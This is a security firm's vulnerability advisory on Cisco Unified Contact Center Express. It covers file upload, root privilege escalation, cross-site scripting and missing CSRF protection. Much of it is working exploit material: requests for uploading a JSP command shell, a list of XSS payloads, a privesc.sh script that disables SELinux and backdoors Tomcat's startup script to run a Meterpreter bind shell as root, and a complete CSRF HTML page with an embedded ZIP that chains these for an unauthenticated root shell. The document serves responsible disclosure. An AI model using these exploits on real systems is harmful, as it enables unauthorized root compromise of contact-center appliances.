security-assessment.com

Vulnerability Advisory

Name	Cisco Unified Contact Center Express Multiple Vulnerabilities
Vendor Website	www.cisco.com
Affected Software	Cisco Unified Contact Center Express <= 9.0.2.11001-24
Date Of Public Release	02/03/2016
Researcher	Rob Armstrong

Description

The Cisco Unified Contact Center Express (UCCX) contains a number of vulnerabilities, including authenticated arbitrary file upload, a privilege escalation to root issue and cross site scripting. The lack of cross site request forgery protections can be leveraged by an unauthenticated attacker to obtain command execution as root.

Exploitation

Authenticated Arbitrary File Upload

An authenticated attacker can use the file upload functionality at https://UCCX/appadmin/Document to upload ZIP and JSP files. The UCCX does not perform any validation on the contents of uploaded ZIP files.

The UCCX automatically extracts the ZIP file to a directory under /common/cisco/uccx/Documents/User/. Individual files can be copied to /common/log/taos-log-b/tomcat/webapps/appadmin/temp/, with a GET request to the URL https://UCCX/appadmin/Document?request_type=pgd.play&filename=*FILENAME*&currentDir=*CURRENTDIR*&fileType=default. Files in this directory can then be accessed via https://UCCX/appadmin/temp/.

POC Request - Upload Zip with JSP shell

```
POST /appadmin/Document?request_type=pgd.upload HTTP/1.1
Host: UCCX
Cookie: JSESSIONID=VALID
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18414276354584
Content-Length: 1857

----------------------------18414276354584
Content-Disposition: form-data; name="request_type"


----------------------------18414276354584
Content-Disposition: form-data; name="TargetURL"

/appadmin/upload
----------------------------18414276354584
Content-Disposition: form-data; name="req"

newprompt
----------------------------18414276354584
Content-Disposition: form-data; name="currentDir"

/default/
----------------------------18414276354584
Content-Disposition: form-data; name="overwrite"
```

```
-----------------------------18414276354584
Content-Disposition: form-data; name="srcfile"


-----------------------------18414276354584
Content-Disposition: form-data; name="isMultiPart"


-----------------------------18414276354584
Content-Disposition: form-data; name="filePath"


-----------------------------18414276354584
Content-Disposition: form-data; name="targetfile"

cmd_prompt.zip
-----------------------------18414276354584
Content-Disposition: form-data; name="unzipValue"

true
-----------------------------18414276354584
Content-Disposition: form-data; name="file1"; filename="cmd_prompt.zip"
Content-Type: application/zip

<zip file containing cmd_prompt.jsp>
-----------------------------18414276354584
Content-Disposition: form-data; name="unzip"

on
-----------------------------18414276354584--
```

POC Request - Copy cmd_prompt.jsp shell to webroot

```
GET
/appadmin/Document?request_type=pgd.play&filename=cmd_prompt.jsp&currentDir=%2fdefault%2f&fileTyp
e=default HTTP/1.1
Host: UCCX
Cookie: JSESSIONID=VALID
Connection: close
```

Privilege Escalation
It is possible to gain root access on the UCCX by modifying the shell script executed by root to start the Apache Tomcat webserver and restarting the Tomcat process.

The shell script, located at /usr/local/thirdparty/apache-tomcat-7.0.25/bin/startup.sh, has an owner/group of tomcat/tomcat and file system permissions of rwxrwxr-x. This permits the tomcat user and the 97 members of the tomcat group to make changes to this script.

The Cisco UCCX allows low-level user accounts to restart the tomcat process by making a call to the Cisco com.cisco.ccm.serviceability.serviceactivation.ServiceMgrCommunicator Java class. Restarting tomcat via this method results in the startup.sh shell script being executed by the root user.

As the web interface executes code as the tomcat user, command execution gained via the vulnerable Document upload functionality can be used to modify the startup.sh script and obtain a root shell on the UCCX appliance.

Cross Site Scripting
The UCCX interface also suffers from a large number of Stored and Reflected Cross Site Scripting vulnerabilities.

Stored Cross Site Scripting exists in the following locations:

URL	Parameter	Request Type	POC Payload
https://UCCX/appadmin/Script	folderName	POST	xss"><img width=5000 height=5000 src="" onmouseover="alert(1);"><!--
https://UCCX/appadmin/Prompt	languageName		
https://UCCX/appadmin/Grammar	languageName		
https://UCCX/appadmin/Document	languageName		

Reflected Cross Site Scripting exists in the following locations:

URL	Parameter	Request Type	POC Payload
https://UCCX/appadmin/App	wizard	GET	request_type=new_configuration&wizard=true%22;alert%281%29;//
https://UCCX/appadmin/Document	currentDir		request_type=do.delete.folder.root&currentDir=%3Cimg%20src%3da%20onerror%3dalert%281%29%3E&deleteFolders=
https://UCCX/appadmin/Document	wizard		request_type=pgd.root&wizard=true%22%3balert%281%29%2f%2f
https://UCCX/appadmin/Grammar	wizard		request_type=pgd.root&wizard=true%22%3balert%281%29%2f%2f
https://UCCX/appadmin/ICD	wizard		request_type=skill.configure&wizard=true"%3balert(1)%2f%2f
https://UCCX/appadmin/JTAPICTIGroup	request_type		request_type=list%27%3balert%281%29%2f%2f
https://UCCX/appadmin/LDAPSetup	wizard		request_type=ldapsetup.waitpage.usermaintenance&wizard=true"%3balert(1)%2f%2f
https://UCCX/appadmin/Prompt	wizard		request_type=pgd.root&wizard=true"%3balert(1)%2f%2f
https://UCCX/appadmin/Script	currentDir		request_type=pgd.rename.file&currentDir=%2fdefault%2f%22%3E%3Cimg%20src%3da%20onerror%3dalert%281%29%3E
https://UCCX/appadmin/Script	fileName		request_type=pgd.rename.file&currentDir=%2fdefault%2f&fileName=%22%3E%3Cimg%20src%3da%20onerror%3dalert%281%29%3E
https://UCCX/appadmin/Script	wizard		request_type=pgd.root&wizard="%3balert(1)%2f%2f
https://UCCX/appadmin/Trigger	wizard		request_type=new_configuration&wizard="%3balert(1)%2f%2f

Putting It All Together

A proof of concept exploit which leverages the lack of Cross Site Request Forgery protections to launch a Meterpreter shell with root privileges is detailed below:

POC ZIP file contents

```
Archive:  csrfroot.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      194  2016-01-29 11:37   meterpreter
      488  2016-01-29 12:23   cmds.jsp
     1648  2016-01-29 12:23   privesc.sh
---------                     -------
     2330                     3 files
```

A description of the files contained within the malicious ZIP file follow.

The 'meterpreter' file is a Meterpreter executable configured to bind to port 3003.

The 'cmds.jsp' is used to provide initial code execution on the UCCX. This code runs as the tomcat user on the Linux operating system which underpins the UCCX appliance. As the files extracted from the uploaded ZIP are owned by the uccxuser user, the 'cmds.jsp' file copies the 'privesc.sh' shell script included in the POC ZIP file to /tmp to create a copy of the shell script which is owned by the tomcat user. The 'privesc.sh' script is then marked as executable and executed. The contents of 'cmds.jsp' is provided in the table below:

cmds.jsp

```
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<%
Process b = Runtime.getRuntime().exec("cp /common/cisco/uccx/Documents/User/default/privesc.sh
/tmp/a.sh");
b.waitFor(); %>
<p>privesc cp exited</p>
<%
Process d = Runtime.getRuntime().exec("chmod +x /tmp/a.sh");
d.waitFor(); %>
<p>privesc chmod exited</p>
<%
Process e = Runtime.getRuntime().exec("/tmp/a.sh &");
e.waitFor(); %>
<p></p>
</BODY></HTML>
```

In this POC, all subsequent actions required to escalate privileges are performed by 'privesc.sh' script, details of which follow.

Copyright Security-Assessment.com 2016

The 'privesc.sh' bash script first creates another shell script, '/tmp/runme', which contains commands to disable the SELinux protections (and writes the SELinux settings to a file for debugging purposes), copies the previously-uploaded meterpreter binary to /tmp, marks this meterpreter binary as executable and then executes it. 'Privesc.sh' then modifies the startup.sh script used to start the Tomcat web server to include a call to this newly-created '/tmp/runme' script. Finally, the 'privesc.sh' restarts the Tomcat server by calling the Cisco ServiceMgrCommunicator java class, resulting in '/tmp/runme' being executed by the root user.

The 'privesc.sh' bash script is detailed below:

Privesc.sh

```
#/bin/bash

# disable selinux and write the current mode to /tmp/sanity then prep the and run meterpreter
echo -e '#!/bin/bash\n/usr/sbin/setenforce 0\n/usr/sbin/getenforce > /tmp/sanity\ncp
/common/cisco/uccx/Documents/User/default/meterpreter /tmp/tcp3003\nchmod +x
/tmp/tcp3003\n/tmp/tcp3003 &' > /tmp/runme
chmod +x /tmp/runme

# mod /usr/local/thirdparty/apache-tomcat-7.0.25/bin/startup.sh to execute /tmp/runme
cp /usr/local/thirdparty/apache-tomcat-7.0.25/bin/startup.sh /usr/local/thirdparty/apache-tomcat-
7.0.25/bin/backup_startup.sh
head -n61 /usr/local/thirdparty/apache-tomcat-7.0.25/bin/startup.sh > /tmp/a
echo '/tmp/runme &' >> /tmp/a
tail -n1 /usr/local/thirdparty/apache-tomcat-7.0.25/bin/startup.sh >> /tmp/a
cp /tmp/a /usr/local/thirdparty/apache-tomcat-7.0.25/bin/startup.sh

# setup java environment for cisco servicecontrol
export JAVA_HOME=/usr/java/jdk1.6.0_45/jre/
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=/usr/local/thirdparty/java/log4j.jar:/usr/local/thirdparty/jakarta-
tomcat/lib/ServiceActivation.jar:/usr/local/thirdparty/jakarta-
tomcat/lib/alarmutil.jar:/usr/local/thirdparty/jakarta-tomcat/lib/soap-
common.jar:/usr/local/thirdparty/jakarta-tomcat/lib/axis.jar:/usr/local/thirdparty/jakarta-
tomcat/lib/Iproduct.jar:/usr/local/thirdparty/jakarta-tomcat/lib/commons-
discovery.jar:/usr/local/thirdparty/jakarta-
tomcat/lib/jaxrpc.jar:/usr/local/thirdparty/java/xercesImpl.jar:$CLASSPATH
for P in `ls /usr/local/cm/jar/*.jar` ; do export CLASSPATH=$P:$CLASSPATH ; done
for P in `ls /usr/local/thirdparty/jakarta-tomcat/lib/*.jar` ; do export CLASSPATH=$P:$CLASSPATH ; done

# restart tomcat:
java com.cisco.ccm.serviceability.serviceactivation.ServiceMgrCommunicator "Cisco Tomcat" restart &

# win
```

The UCCX also has no apparent CSRF protections, allowing an unauthenticated attacker to leverage the arbitrary file upload and privilege escalation vulnerabilities via the following CSRF request. The following CSRF request will launch a Meterpreter listener with root privileges using port 3003 on the UCCX:

CSRF -> Rootshell Proof of Concept

```
<html>
  <body>
    <script>
          function submitRequest() {
          setTimeout(upload, 1);
          setTimeout(unpack, 3000);
          setTimeout(execute, 7000);
}

function upload() {
       var xhr = new XMLHttpRequest();
       xhr.open("POST", "https://UCCX/appadmin/Document?request_type=pgd.upload", true);
```

```
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------
186272666323620");
        xhr.withCredentials = true;
        var body = "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"request_type\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"TargetURL\"\r\n" +
          "\r\n" +
          "/appadmin/upload\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"req\"\r\n" +
          "\r\n" +
          "newprompt\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"currentDir\"\r\n" +
          "\r\n" +
          "/default/\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"overwrite\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"srcfile\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"isMultiPart\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"filePath\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"targetfile\"\r\n" +
          "\r\n" +
          "a.zip\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"unzipValue\"\r\n" +
          "\r\n" +
          "true\r\n" +
          "----------------------------186272666323620\r\n" +
          "Content-Disposition: form-data; name=\"file1\"; filename=\"a.zip\"\r\n" +
          "Content-Type: application/zip\r\n" +
          "\r\n" +

"PK\x03\x04\x14\x00\x00\x00\x08\x00\xb1\\=H\x0b+pU\xa8\x00\x00\x00\xc2\x00\x00\x00\x01\x00\x00\
x00aE\x8b1\n" +
        "\xc2@\x10Eg7\xc1\x08\x8a\xa4\xf0\x00\x1eA!7\x08ZY$&E$`\xb9\xc8\xdcA\x1c\xb1\x90\xad-
\x82\xb7X,\x04\xb1\x13\xdb-\xac-
$\xec\x05\xec,u\xb7\x88~\x18\xf8\xf3\xe6\xcdz\x3c\x9d0\xc6\xa0\t\x07\x0f\xdc\x96\x93\xdf\x8e\xe0\x9f\
x08\x06\xd0X?\xdb:n\xae\xb6\x0e-
\x0c\x1c\x0b\x01pU\x1c\x8e\xc1\xd9Ui\xc4\xc6\xc0K\xd3\xe8\xf16Y\x9c!\x97\xb5\x12\x9aR\xf4s\xe4\xc8\
x92J\xd6\xd8+Q\x14\x9a\xaa\xed\xad?/\x17\xb3%\x87\xce\x05\xc34\xb1\'\xc7\xef\xc6}$\xb1\x122\xf55\
xedO]\xe5i\xda=K\xd5\xd2\xf4\xa9\xbfPK\x03\x04\x14\x00\x00\x00\x08\x00\xf7b=H\xf7I\xfbT\x05\x01\x0
0\x00\xe8\x01\x00\x00\x05\x00\x00\x00a.jsp\x85\x91OK\xc3@\x10\xc5\xef\x81|\x87!\x10I\xaa\xec\x06z\
xb3i\x10)\xe2AQD\x0f\x1e7\x9b\xb1Y\xc9\xfeaw\xd2\xe4\xe3\x9b\xc4\xe2\xa1he`xs\x98\xf7{\xf0\xca\xf4\
```

```
x06\x9c\xd8#(\xed\xac\xa7m\xf2)\x0e\x82\xf5\xa4:\xb6\xbaZ\xb4\xb2l\x95\xa4U\x1c\x95\xf7\xaf\x8f\x0f
Uy\xfb\xb4{\x9f\xaf4\x8e\x9e\xbd\x95\x18\x02\xd4\xb0\x85\x97\xde\x90\xd2\xc8\xf6HG\x99\xe5\x0cG\x
94Y\"\x1dpi\xb5\xb6\x86K\x15\xa4\xe5\xbd\x94#\xdfY\xd9k4\x14\xf8[@\xcf\x1b\xfc\x10}G\xbc\x06N\xda
q\xc1B\x9b\xe4\x9b8\xaa\xd9 \x14\xddY\x9f\xe5\x1bXb\xb8\xcayu\xc0
a2\xc6Q\x116%w\'\x91\x9a\x7f\"\xb5\xda6p9\x9e\xc0\x9a3\xb0\xe5\xe5O\x1e\x9e\xe7\xfd`\xe0b\x01\xe1
/\xa0\xc9\xf4[\x90\xd5R\x10\x0c\xaa\xeb\xc0\xd8\x01\x3c\x06\x12\x9e@\x98\x06:\xd1\x1b\xd9\x82\x00\
x8d\x84\xde\xf9y\x835P\xb0e\xae\xd7E\xb1\x3e\x1a\xf1\xb9\xa9\xc9u\xa9\xed\x0bPK\x03\x04\x14\x00\x
00\x00\x08\x00\xebb=H\xb1\x83\xd7#,\x02\x00\x00p\x06\x00\x00\x01\x00\x00\x00b\xa5T[o\xda0\x14~\
xcf\xaf8+\xa8H\x9b\x88\xe9z\x99\xc4\xd4I\x88Mj\xa7UC\xa2\xdbS%jN\x0c18\xb6e;\x14\xfe\xfdl\x07\x12
v\xd5\xd2\x3e%\x3e\x3e\xdfwn\xdfq\x87\xcc\xb9$sj\xf3$\xe9\x80\xcd\x99\x10\t\xc3\\A\x9fA\xaf\xf3\xaa\
xbe}\x90\xa4\xb4\x86\xd8p\xb6\xcc1\xb9P\x06\x19\x0c\x8e\xed\xcb\xc6\xfe\x01\x88+4\xb1Tr\xb7{\x90\
xa8\x81\xa0*\n" +

"%\tr\x8b\x8a\x94\x88[\xf2QaY0\xe9,\xf9f\x99!\x19[\xd0R8B+\xacC}\x3e\x18\x9c{p^\xa8\x0c\xdel\x7f1\
x1f\x9f\xe0\xb4w\x08iJY\xb0\xa4\xc64\xb6P_0\xc6|\x85B*\x88\xcb\xb9\xc945nG\xa8\xa6\x98\xb3\xbeS\x
05R\xd7\x7f\x97\x0e\xd2\xb7\x97$\x16\xeb\xfc}\xa9S\x9b\x83S\xe0\x99\xa0\xd8\xf9\x3eq\x97\xa0~\x01
WK\xe4\x9c\xe2\xba\xd4\xb3\x86
\xc9\x19\xcd\xa0/\xaf\xce\xdaR5\x1c\x87\x96\xd1j\xe2\xbd\xa6W\xb1\x9f\xf5\xad\xa3\\\xf8P/\x8aT\x93\x
a1\xde\xff=\x9f-*\x95\xf9\x7fX\xd1\r\x05&7\xdc(\x19\x94\x04^}\x10\x15faQ\xe2\x9a\x3e-
J\xe1}\xcd\x86#C%\x9dQ\xa2\x1a\x1e\xdbje\x1c|\x1e}\x1f\xcdn\xbe\xde}\xba\x8e\xd9\x04\x3e\xb2\xca\
xd6g\xe9U:\x98]\\\x92\x95a\xe4\xe0;\x19\xdd\xdf\\wkDHj\xd8\r\xc6\x83\xc3\xf8\xcbh:\x8d^\x7f,-
\xb2{\xeb\xf2b\x95\xae\xa8\x19\xfe\xcdi\xed\xbft\xdf\x00\"\xf8\x9cL\xab\xfcG\xe8\xf8\x86:\xaed;8\x15\x
d4\x14\xa5\xe3\xa2\x1d\xcc*\xaa\xfbai[\xc7\xdbr\xdb\x0eq\xab\x8d\xcaJt\xedPUn\xb6\x9f\x85yo\x98\xd9
\xb5\x83\xaf\xe8\xd6h\x8c\x98\x7f\x8ck\xcb\xfcsfo\x0b]u\xaf[\xcf8\tR\x9b\x00\x97\xf0(\xec\xb1\x96\xb1
\xde\x93\xbc\x0e\xfe\x8f\xf0\x1e2\x05\xbf\xe9\xa3;9b\x8a\x3e\x92\xfdL\xf8\xdfe\xb4\x8f\xe3\xb7\xc7\xb
0\xb8MP\xf1\x0c\x93\xb8G\xbe\x9fi\xdc\x9d\x14\xb1H\xf7KC\xe7\\\xf8\'\xbc\x3e6\x1a\xdc\xab\xf2ni\xc6~
\x10\xa5\xe4\x9e\xc9Wp2\x0e\x14p\x1f\x99O\xeaH\xa7!\xec\x13\x97?\x00PK\x01\x02?\x00\x14\x00\x00\
x00\x08\x00\xb1\\=H\x0b+pU\xa8\x00\x00\x00\xc2\x00\x00\x00\x01\x00$\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00a\n" +
        "\x00
\x00\x00\x00\x00\x00\x01\x00\x18\x00\x12\x88rz\x1cZ\xd1\x01\x05\x16\xe8\x8b\x1cZ\xd1\x01\x05\x16\
xe8\x8b\x1cZ\xd1\x01PK\x01\x02?\x00\x14\x00\x00\x00\x08\x00\xf7b=H\xf7I\xfbT\x05\x01\x00\x00\xe8\
x01\x00\x00\x05\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\xc7\x00\x00\x00a.jsp\n" +
        "\x00
\x00\x00\x00\x00\x00\x01\x00\x18\x00\x16\xf3\x9d\xee\"Z\xd1\x01\x05\x16\xe8\x8b\x1cZ\xd1\x01\x05\
x16\xe8\x8b\x1cZ\xd1\x01PK\x01\x02?\x00\x14\x00\x00\x00\x08\x00\xebb=H\xb1\x83\xd7#,\x02\x00\x0
0p\x06\x00\x00\x01\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\xef\x01\x00\x00b\n" +
        "\x00
\x00\x00\x00\x00\x00\x01\x00\x18\x00\x3c\x9d\xf7\xdf\"Z\xd1\x01\x05\x16\xe8\x8b\x1cZ\xd1\x01\x05\x
16\xe8\x8b\x1cZ\xd1\x01PK\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00\xfd\x00\x00\x00:\x04\x00\x00\x
00\x00\r\n" +
        "Content-Disposition: form-data; name=\"unzip\"\r\n" +
        "\r\n" +
        "on\r\n" +
        "-----------------------------186272666323620--\r\n";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));

}

function unpack() {
      var xhr = new XMLHttpRequest();
      xhr.open("GET",
"https://UCCX/appadmin/Document?request_type=pgd.play&filename=a.jsp&currentDir=%2fdefault%2f&file
Type=default", true);
      xhr.withCredentials = true;
      var body = "";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
```

```
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
}

function execute() {
      var xhr = new XMLHttpRequest();
      xhr.open("GET", "https://UCCX/appadmin/temp/a.jsp", true);
      xhr.withCredentials = true;
      var body = "";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
}

window.onload = submitRequest;
   </script>
  </body>
</html>
```

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com

Copyright Security-Assessment.com 2016